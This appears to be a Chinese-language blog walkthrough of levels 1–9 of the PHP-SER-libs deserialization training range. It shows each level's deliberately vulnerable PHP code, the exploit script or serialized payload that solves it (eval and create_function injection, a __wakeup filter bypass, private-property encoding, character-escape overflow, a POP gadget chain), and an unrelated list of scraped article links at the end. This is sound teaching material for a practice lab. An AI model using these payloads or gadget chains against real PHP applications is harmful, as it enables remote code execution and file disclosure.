当前位置: 首页 > news >正文

PHP-SER-libs靶场通关(1-9)

一.第一关(基础序列化)

<?php
highlight_file(__FILE__);
class a{var $act;function action(){eval($this->act);}
}
$a=unserialize($_GET['flag']);
$a->action();
?> 

一个很基础的反序列过程

对输入的flag进行反序列化,再调用action的方法

然后解释eval任意执行

二.第二关(__construct魔术方法)

<?php
highlight_file(__FILE__);
include("flag.php");
class mylogin{var $user;var $pass;function __construct($user,$pass){$this->user=$user;$this->pass=$pass;}function login(){if ($this->user=="daydream" and $this->pass=="ok"){return 1;}}
}
$a=unserialize($_GET['param']);
if($a->login())
{echo $flag;
}
?>  

__construct : 在创建对象时候初始化对象。

__destruct : 当对象所在函数调用完毕后执行一般用于对变量赋初值或者在对象被销毁的时候触发 

写一个php程序把他序列化

<?php
class mylogin{var $user ;var $pass ;function __construct($user,$pass){$this->user=$user;$this->pass=$pass;}
}$a = new mylogin("daydream","ok");
var_dump(serialize($a));
?>

三.第三关(cookie传参)

<?php
highlight_file(__FILE__);
include("flag.php");
class mylogin{var $user;var $pass;function __construct($user,$pass){$this->user=$user;$this->pass=$pass;}function login(){if ($this->user=="daydream" and $this->pass=="ok"){return 1;}}
}
$a=unserialize($_COOKIE['param']);
if($a->login())
{echo $flag;
}
?>

与上一关的差别在与是cookie传参,只需要抓包修改cookie即可

四.第四关(create_function)

<?php 
highlight_file(__FILE__);
class func
{public $key;public function __destruct(){        unserialize($this->key)();} 
}class GetFlag
{       public $code;public $action;public function get_flag(){$a=$this->action;$a('', $this->code);}
}unserialize($_GET['param']);?> 

这里还用到一个php特性------Array

当array内包裹的第一个值是对象,第二个是对象内的方法时

在反序列化后会调用该对象的方法

<?php
class func
{public $key;public function __destruct(){        unserialize($this->key)();} 
}class GetFlag
{       public $code;public $action;public function get_flag(){$a=$this->action;$a('', $this->code);}
} 
$a2=new func();
$b=new GetFlag();
$b->code='}include("flag.php");echo $flag;//';
$b->action="create_function";
$a2->key=serialize(array($b,"get_flag"));
echo urlencode(serialize($a2));
?>

action是写入create_function为下面创造方法

code是为了闭合方法再进行文件包含读取flag

五.第五关(__wakeup)

<?phpclass secret{var $file='index.php';public function __construct($file){$this->file=$file;}function __destruct(){include_once($this->file);echo $flag;}function __wakeup(){$this->file='index.php';}}$cmd=$_GET['cmd'];if (!isset($cmd)){//判断是否存在echo show_source('index.php',true);}else{if (preg_match('/[oc]:\d+:/i',$cmd)){//进行正则匹配echo "Are you daydreaming?";}else{unserialize($cmd);//反序列化}}//sercet in flag.php
?> 

__wakeup():当反序列化恢复对象之前调用该方法

也就算是出现

o:数字  或者   c:数字

就会直接终止,所以我们就要绕过这个匹配,在序列化后也就是在0:6中6的前面加上一个符号使其不被匹配上所以就有了payload

playload:'O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}'

六.第六关(私有属性)

<?php
highlight_file(__FILE__);
class secret{private $comm;public function __construct($com){$this->comm = $com;}function __destruct(){echo eval($this->comm);}
}
$param=$_GET['param'];
$param=str_replace("%","daydream",$param);
unserialize($param);
?> 

本关对输入的param进行了一个%的过滤,而且类中的属性的变量是私有属性

private属性序列化的时候格式是 %00类名%00成员名

所以要用\00代替%00实现绕过

<?php
class secret{private $comm;public function __construct($com){$this->comm = $com;}function __destruct(){echo eval($this->comm);}
} 
$pa=new secret("system('sort flag.php');");
echo serialize($pa),"\n";
playload:O:6:"secret":1:{S:12:"\00secret\00comm";s:24:"system('sort flag.php');";}
与小写"s"不同,大写"S"表示键名或属性名是区分大小写的。

七.第七关(类中类反序列化)

<?php
highlight_file(__FILE__);
class you
{private $body;private $pro='';function __destruct(){$project=$this->pro;$this->body->$project();}
}class my
{public $name;function __call($func, $args){if ($func == 'yourname' and $this->name == 'myname') {include('flag.php');echo $flag;}}
}
$a=$_GET['a'];
unserialize($a);
?> 

在you类中,有一个destruct方法,内将pro赋值给变量project再调用本类中的body中的project

说明body应该是一个类且project是指要调用该类内的方法

另外有一个魔术方法__call:当调用对象中不存在的方法会自动调用该方法

$this->body->$project();

先让body成为my类里的,在让body去调用project,因为my类里没有project所以会调用__call方法

在把myname的值赋给body,yourname的值赋给pro就可以了

playload:'O:3:"you":2:{S:9:"\00you\00body";O:2:"my":1:{s:4:"name";s:6:"myname";}S:8:"\00you\00pro";s:8:"yourname";}';

八. 第八关(增量逃逸)

<?php
highlight_file(__FILE__);
function filter($name){$safe=array("flag","php");$name=str_replace($safe,"hack",$name);return $name;
}
class test{var $user;var $pass='daydream';function __construct($user){$this->user=$user;}
}$param=$_GET['param'];
$profile=unserialize(filter($param));
if ($profile->pass=='escaping'){echo file_get_contents("flag.php");
}
?> 

具体:PHP反序列化——字符逃逸漏洞(肯定能看懂的!)_php {i:1;s:65:''}-CSDN博客

playload:O:4:"test":2:{s:4:"user";s:116:"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";}
  • 当字符增多:在输入的时候再加上精心构造的字符。经过过滤函数,字符变多之后,就把我们构造的给挤出来。从而实现字符逃逸
  • 当字符减少:在输入的时候再加上精心构造的字符。经过过滤函数,字符减少后,会把原有的吞掉,使构造的字符实现代替

九.第九关(POP构造链)

<?php
//flag is in flag.php
highlight_file(__FILE__);
class Modifier {private $var;public function append($value){include($value);echo $flag;}public function __invoke(){$this->append($this->var);}
}class Show{public $source;public $str;public function __toString(){return $this->str->source;}public function __wakeup(){echo $this->source;}
}class Test{public $p;public function __construct(){$this->p = array();}public function __get($key){$function = $this->p;return $function();}
}if(isset($_GET['pop'])){unserialize($_GET['pop']);
}
?>

Modifier类:
append方法:接收一个文件名作为参数,尝试包含该文件,并打印出$flag变量。
__invoke方法:调用append方法,传入$this->var的值。
Show类:
__toString方法:返回$this->str->source的值,这里$str应该是另一个对象,且该对象需要有一个source属性。
__wakeup方法:当对象被反序列化时调用,这里我们可以暂时忽略它,因为它不直接用于构造pop链。
Test类:
__get方法:当尝试访问类中不存在的属性时调用,它会尝试将$this->p(一个数组)作为函数调用。这意味着$this->p需要被设置为一个闭包(匿名函数)或其他可调用的对象。
  1. 用户输入
    用户通过GET请求发送一个经过序列化的字符串到$_GET['pop']。这个字符串应该是一个对象序列化的结果,该对象会触发一系列的魔术方法调用。

  2. 反序列化
    unserialize($_GET['pop'])将用户提供的序列化字符串转换回PHP对象。我们需要构造一个对象,该对象在反序列化时会触发__wakeup等魔术方法。

  3. Show类与__wakeup
    虽然__wakeup方法本身在这里可能不是直接触发漏洞的关键(因为它只是打印$this->source),但它可以用于设置或初始化对象的属性。然而,在我们的场景中,更关键的是__toString方法。

  4. Show类与__toString
    Show对象被当作字符串处理时(比如在echo或字符串连接操作中),__toString方法会被调用。在这个方法中,我们尝试访问$this->str->source。这里,$this->str应该是一个对象,且该对象有一个source属性。但是,为了触发__get,我们实际上需要$this->strTest类的一个实例。

  5. Test类与__get
    当尝试访问Test类实例的未定义属性时,__get方法会被调用。在这个方法中,我们期望$this->p是一个可调用的函数或闭包。但是,由于我们的目标是触发Modifier类的append方法,我们需要将$this->p设置为一个Modifier实例,并且该实例的var属性应该被设置为我们要包含的文件名(如"flag.php")。

  6. Modifier类与__invoke:

    ​
    <?php
    class Modifier {private $var="flag.php";public function append($value){include($value);echo $flag;}public function __invoke(){$this->append($this->var);}
    }class Show{public $source;public $str;public function __toString(){return $this->str->source;}public function __wakeup(){echo $this->source;}
    }class Test{public $p;public function __construct(){$this->p = array();}public function __get($key){$function = $this->p;    //这是个调用函数p的方式return $function();}
    }
    $a=new Modifier();
    $b=new show();
    $c=new Test();$b->source=$b;  //把show类当成字符串赋值给属性source从而触发to_string
    $b->source->str=$c; //b类中的source类中的str赋值为Test类,当调用该类中不存在的属性source时触发get
    $c->p=$a;//p是Modifier类,当这个类被当成函数调用的时候就会触发该类内的invokeecho urlencode(serialize($b));//序列化的是$b,$b中没有construct所以不会被触发
    ?>​

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 数据结构基础详解(C语言): 栈的括号匹配(实战)与栈的表达式求值特殊矩阵的压缩存储
  • 国家新标准引领,油烟净化器为烟火气添清新活力
  • 网络安全(sql注入2,less3)
  • 苹果的“AI茅”之路只走了一半
  • TeamTalk数据库代理服务器
  • AI问答-数据库:理解头表和行表
  • ModuleNotFoundError: No module named ‘keras.layers.core‘怎么解决
  • 【CSS】mask-image属性的详细介绍
  • Java中校验导入字段长度与数据库字段长度一致性
  • 图为科技基于昇腾AI,打造智慧工厂检测解决方案
  • 金蝶云星空查询SQL
  • 数据仓库理论知识
  • 2024/9/9 408“回头看”:b树
  • Spark-ShuffleWriter
  • 风中摇曳的小萝卜(机器学习)笔记 EM算法
  • java中具有继承关系的类及其对象初始化顺序
  • js对象的深浅拷贝
  • mockjs让前端开发独立于后端
  • Quartz初级教程
  • select2 取值 遍历 设置默认值
  • yii2中session跨域名的问题
  • 安卓应用性能调试和优化经验分享
  • 从tcpdump抓包看TCP/IP协议
  • 爬虫进阶 -- 神级程序员:让你的爬虫就像人类的用户行为!
  • 前端性能优化--懒加载和预加载
  • 区块链分支循环
  • 优化 Vue 项目编译文件大小
  • 栈实现走出迷宫(C++)
  • Android开发者必备:推荐一款助力开发的开源APP
  • # Redis 入门到精通(七)-- redis 删除策略
  • #laravel部署安装报错loadFactoriesFrom是undefined method #
  • #Linux(帮助手册)
  • ( 用例图)定义了系统的功能需求,它是从系统的外部看系统功能,并不描述系统内部对功能的具体实现
  • (16)Reactor的测试——响应式Spring的道法术器
  • (2)STL算法之元素计数
  • (30)数组元素和与数字和的绝对差
  • (Git) gitignore基础使用
  • (二)pulsar安装在独立的docker中,python测试
  • (附源码)python旅游推荐系统 毕业设计 250623
  • (黑马C++)L06 重载与继承
  • (六)c52学习之旅-独立按键
  • (转载)虚幻引擎3--【UnrealScript教程】章节一:20.location和rotation
  • **《Linux/Unix系统编程手册》读书笔记24章**
  • .NET Framework杂记
  • .NET Micro Framework初体验
  • .NET教程 - 字符串 编码 正则表达式(String Encoding Regular Express)
  • .NET框架设计—常被忽视的C#设计技巧
  • .Net下使用 Geb.Video.FFMPEG 操作视频文件
  • @AliasFor注解
  • @Bean有哪些属性
  • [ Algorithm ] N次方算法 N Square 动态规划解决
  • [ 蓝桥杯Web真题 ]-布局切换
  • [2016.7 Day.4] T1 游戏 [正解:二分图 偏解:奇葩贪心+模拟?(不知如何称呼不过居然比std还快)]
  • [51nod1610]路径计数
  • [ACM独立出版] 2024年虚拟现实、图像和信号处理国际学术会议(VRISP 2024,8月2日-4)